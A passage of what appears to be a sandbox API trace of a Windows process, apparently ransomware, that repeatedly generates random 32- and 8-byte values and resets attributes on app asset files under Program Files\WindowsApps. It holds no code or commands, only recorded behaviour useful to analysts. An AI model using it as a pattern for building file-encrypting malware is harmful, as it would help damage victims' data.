Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d840 | out: pbBuffer=0x61d840) returned 1 [0216.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150.png", dwFileAttributes=0x80) returned 0 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0c60 | out: pbBuffer=0x30e0c60) returned 1 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6e0 | out: pbBuffer=0x61d6e0) returned 1 [0216.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df9d0 | out: pbBuffer=0x30df9d0) returned 1 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7e0 | out: pbBuffer=0x61d7e0) returned 1 [0216.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0216.019] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d690 | out: pbBuffer=0x61d690) returned 1 [0216.019] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-125.png", dwFileAttributes=0x80) returned 0 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d750 | out: pbBuffer=0x61d750) returned 1 [0216.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d7f0 | out: pbBuffer=0x61d7f0) returned 1 [0216.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d740 | out: pbBuffer=0x61d740) returned 1 [0216.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-100.png", dwFileAttributes=0x80) returned 0 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d800 | out: pbBuffer=0x61d800) returned 1 [0216.020] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-180.png", dwFileAttributes=0x80) returned 0 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0216.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d820 | out: pbBuffer=0x61d820) returned 1 [0216.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-140.png", dwFileAttributes=0x80) returned 0 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d6f0 | out: pbBuffer=0x61d6f0) returned 1 [0216.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df4a8 | out: pbBuffer=0x30df4a8) returned 1 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4b0 | out: pbBuffer=0x61d4b0) returned 1 [0216.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df298 | out: pbBuffer=0x30df298) returned 1 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d480 | out: pbBuffer=0x61d480) returned 1 [0216.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0216.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d650 | out: pbBuffer=0x61d650) returned 1 [0216.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100.png", dwFileAttributes=0x80) returned 0 [0216.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9650 | out: pbBuffer=0x30e9650) returned 1 [0216.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d640 | out: pbBuffer=0x61d640) returned 1 [0216.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e41b0 | out: pbBuffer=0x30e41b0) returned 1 [0216.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4d0 | out: pbBuffer=0x61d4d0) returned 1 [0216.022] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3010 | out: pbBuffer=0x30e3010) returned 1 [0216.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d590 | out: pbBuffer=0x61d590) returned 1 [0216.023] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100.png", dwFileAttributes=0x80) returned 0 [0216.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3538 | out: pbBuffer=0x30e3538) returned 1 [0216.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d510 | out: pbBuffer=0x61d510) returned 1 [0216.023] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html", dwFileAttributes=0x80) returned 0 [0216.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2bf0 | out: pbBuffer=0x30e2bf0) returned 1 [0216.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d490 | out: pbBuffer=0x61d490) returned 1 [0216.399] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e24b8 | out: pbBuffer=0x30e24b8) returned 1 [0216.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d530 | out: pbBuffer=0x61d530) returned 1 [0216.453] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\ScanIcon_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e28d8 | out: pbBuffer=0x30e28d8) returned 1 [0216.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5a0 | out: pbBuffer=0x61d5a0) returned 1 [0216.453] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png", dwFileAttributes=0x80) returned 0 [0216.471] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e27d0 | out: pbBuffer=0x30e27d0) returned 1 [0216.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d500 | out: pbBuffer=0x61d500) returned 1 [0216.472] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e29e0 | out: pbBuffer=0x30e29e0) returned 1 [0216.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4e0 | out: pbBuffer=0x61d4e0) returned 1 [0216.527] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIcon_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3118 | out: pbBuffer=0x30e3118) returned 1 [0216.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d540 | out: pbBuffer=0x61d540) returned 1 [0216.528] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3640 | out: pbBuffer=0x30e3640) returned 1 [0216.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4c0 | out: pbBuffer=0x61d4c0) returned 1 [0216.528] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.529] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2ae8 | out: pbBuffer=0x30e2ae8) returned 1 [0216.529] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4f0 | out: pbBuffer=0x61d4f0) returned 1 [0216.529] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png", dwFileAttributes=0x80) returned 0 [0216.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3e80 | out: pbBuffer=0x30e3e80) returned 1 [0216.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d4a0 | out: pbBuffer=0x61d4a0) returned 1 [0216.603] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3a60 | out: pbBuffer=0x30e3a60) returned 1 [0216.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d610 | out: pbBuffer=0x61d610) returned 1 [0216.693] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3748 | out: pbBuffer=0x30e3748) returned 1 [0216.694] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5b0 | out: pbBuffer=0x61d5b0) returned 1 [0216.694] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png", dwFileAttributes=0x80) returned 0 [0216.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e23b0 | out: pbBuffer=0x30e23b0) returned 1 [0216.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d660 | out: pbBuffer=0x61d660) returned 1 [0216.727] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png", dwFileAttributes=0x80) returned 0 [0216.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e26c8 | out: pbBuffer=0x30e26c8) returned 1 [0216.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d550 | out: pbBuffer=0x61d550) returned 1 [0216.794] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e25c0 | out: pbBuffer=0x30e25c0) returned 1 [0216.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d670 | out: pbBuffer=0x61d670) returned 1 [0216.796] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2cf8 | out: pbBuffer=0x30e2cf8) returned 1 [0216.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d560 | out: pbBuffer=0x61d560) returned 1 [0216.797] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png", dwFileAttributes=0x80) returned 0 [0216.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2e00 | out: pbBuffer=0x30e2e00) returned 1 [0216.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d520 | out: pbBuffer=0x61d520) returned 1 [0216.835] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png", dwFileAttributes=0x80) returned 0 [0216.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3b68 | out: pbBuffer=0x30e3b68) returned 1 [0216.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5d0 | out: pbBuffer=0x61d5d0) returned 1 [0216.835] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt", dwFileAttributes=0x80) returned 0 [0216.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2f08 | out: pbBuffer=0x30e2f08) returned 1 [0216.876] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d570 | out: pbBuffer=0x61d570) returned 1 [0216.876] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x80) returned 0 [0216.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3958 | out: pbBuffer=0x30e3958) returned 1 [0216.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d620 | out: pbBuffer=0x61d620) returned 1 [0216.952] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0217.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3220 | out: pbBuffer=0x30e3220) returned 1 [0217.048] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d580 | out: pbBuffer=0x61d580) returned 1 [0217.048] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3850 | out: pbBuffer=0x30e3850) returned 1 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5c0 | out: pbBuffer=0x61d5c0) returned 1 [0217.068] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", dwFileAttributes=0x80) returned 0 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3c70 | out: pbBuffer=0x30e3c70) returned 1 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5e0 | out: pbBuffer=0x61d5e0) returned 1 [0217.068] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.js", dwFileAttributes=0x80) returned 0 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2098 | out: pbBuffer=0x30e2098) returned 1 [0217.068] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d5f0 | out: pbBuffer=0x61d5f0) returned 1 [0217.069] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x80) returned 0 [0217.069] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3d78 | out: pbBuffer=0x30e3d78) returned 1 [0217.069] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d600 | out: pbBuffer=0x61d600) returned 1 [0217.069] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css", dwFileAttributes=0x80) returned 0 [0217.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c12d8 | out: pbBuffer=0x34c12d8) returned 1 [0217.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x61d630 | out: pbBuffer=0x61d630) returned 1 [0217.102] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\storelogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0217.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c16f8 | out: pbBuffer=0x34c16f8) returned 1 [0217.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1200 | out: pbBuffer=0x36b1200) returned 1 [0217.187] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png", dwFileAttributes=0x80) returned 0 [0217.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0990 | out: pbBuffer=0x34c0990) returned 1 [0217.244] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1120 | out: pbBuffer=0x36b1120) returned 1 [0217.244] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\smalllogo.scale-100.png", dwFileAttributes=0x80) returned 0 [0217.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0ca8 | out: pbBuffer=0x34c0ca8) returned 1 [0217.283] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1050 | out: pbBuffer=0x36b1050) returned 1 [0217.283] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png", dwFileAttributes=0x80) returned 0 [0217.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0a98 | out: pbBuffer=0x34c0a98) returned 1 [0217.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10f0 | out: pbBuffer=0x36b10f0) returned 1 [0217.383] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png", dwFileAttributes=0x80) returned 0 [0217.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0ba0 | out: pbBuffer=0x34c0ba0) returned 1 [0217.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1060 | out: pbBuffer=0x36b1060) returned 1 [0217.436] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png", dwFileAttributes=0x80) returned 0 [0217.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0fc0 | out: pbBuffer=0x34c0fc0) returned 1 [0217.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b11d0 | out: pbBuffer=0x36b11d0) returned 1 [0217.436] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png", dwFileAttributes=0x80) returned 0 [0217.462] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0eb8 | out: pbBuffer=0x34c0eb8) returned 1 [0217.462] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1140 | out: pbBuffer=0x36b1140) returned 1 [0217.463] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png", dwFileAttributes=0x80) returned 0 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c11d0 | out: pbBuffer=0x34c11d0) returned 1 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10e0 | out: pbBuffer=0x36b10e0) returned 1 [0217.463] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png", dwFileAttributes=0x80) returned 0 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c10c8 | out: pbBuffer=0x34c10c8) returned 1 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1160 | out: pbBuffer=0x36b1160) returned 1 [0217.463] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png", dwFileAttributes=0x80) returned 0 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1800 | out: pbBuffer=0x34c1800) returned 1 [0217.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b10d0 | out: pbBuffer=0x36b10d0) returned 1 [0217.463] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png", dwFileAttributes=0x80) returned 0 [0217.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c1908 | out: pbBuffer=0x34c1908) returned 1 [0217.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1150 | out: pbBuffer=0x36b1150) returned 1 [0217.477] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png", dwFileAttributes=0x80) returned 0 [0217.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0048 | out: pbBuffer=0x34c0048) returned 1 [0217.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1110 | out: pbBuffer=0x36b1110) returned 1 [0217.477] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png", dwFileAttributes=0x80) returned 0 [0217.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0780 | out: pbBuffer=0x34c0780) returned 1 [0217.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1090 | out: pbBuffer=0x36b1090) returned 1 [0217.477] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png", dwFileAttributes=0x80) returned 0 [0217.478] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0db0 | out: pbBuffer=0x34c0db0) returned 1 [0217.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1170 | out: pbBuffer=0x36b1170) returned 1 [0217.479] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png", dwFileAttributes=0x80) returned 0 [0217.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c0360 | out: pbBuffer=0x34c0360) returned 1 [0217.520] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1190 | out: pbBuffer=0x36b1190) returned 1 [0217.520] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js", dwFileAttributes=0x80) returned 0 [0217.601] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c13e0 | out: pbBuffer=0x34c13e0) returned 1 [0217.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x36b1180 | out: pbBuffer=0x36b1180) returned 1 [0217.602] 